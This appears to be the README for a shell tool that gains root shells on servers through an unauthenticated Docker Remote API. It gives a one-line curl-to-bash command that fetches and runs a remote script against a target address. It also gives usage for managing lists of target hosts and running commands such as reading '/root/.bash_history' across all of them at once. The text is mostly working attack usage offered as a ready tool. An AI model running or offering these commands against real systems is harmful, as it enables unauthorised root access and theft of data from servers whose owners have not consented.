Docker Root Shell
Through Docker Remote API get the server root shell.
Usage
Quickly test a server, required server ip address and the Docker API port:
curl -sSL https://git.io/vXNB4 | bash -s test <addr:port>
If this command return a shell #. Congratulations! You get the server root shell.
Detail
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Available commands, <> is required, [] is Optional.
Note: Alias CAN NOT be a number, but it can be a combination of letters and numbers.
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con <alias> - Connect to the specified server.
run <alias>/all "<command> [command]" - Run a one-time command on one or all servers.
add <alias>:<addr>:<port>:[cpu]:[ram]:[note] - Add a server to list.
del <alias> - Delete a server in list.
ping <count> - Input a number of packets to transmit.
<alias> - Input a alias to test the server delay.
test <addr:port> - Quickly test the server.
docker <alias> <docker command> - Use Docker control the server.
edit - Edit the server list
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Show the server list
Default server list file is hosts.list.You can change it in this script head.
$ ./docker-root-shell.sh
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Num - Alias - Address Port - CPU Mem - Note
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1 - wo - 172.16.8.247 2376 - 8 Cu 8 GB - Work
2 - ol - 172.16.158.90 2376 - 8 Cu 8 GB - Online
... ...
Connect to a server
Use the server alias to connect the specified server. Such as:
./docker-root-shell.sh con wo
Run a one-time command on one or all servers
You can run a one-time command on one or all servers, such as run the command on a server:
./docker-root-shell.sh run wo "cat /root/.bash_history"
or run the command on all server:
./docker-root-shell.sh run all "cat /etc/hosts"
Add a server to list
You can easily to add a server in the list.
./docker-root-shell.sh add <alias>:<addr>:<port>:[cpu]:[ram]:[note]
./docker-root-shell.sh add wo2:172.16.168.233:6666
<> is required, [] is Optional. Alias CAN NOT be a number, but it can be a combination of letters and numbers.
Delete a server in list
You can easily to remove a server in the list.
./docker-root-shell.sh del <alias>
./docker-root-shell.sh del wo2
Test the server delay
Input a number of packets to transmit. It will ping all server.
./docker-root-shell.sh ping <count>
./docker-root-shell.sh ping 1
Input a alias to test the server delay. Only ping the server.
./docker-root-shell.sh ping <alias>
./docker-root-shell.sh ping wo2
Use Docker client control the server
Use Docker client control the server:
./docker-root-shell.sh docker <alias> <docker subcommand>
Such as get the server images list:
./docker-root-shell.sh docker wo2 images
Edit the server list
Just edit list file.
./docker-root-shell.sh edit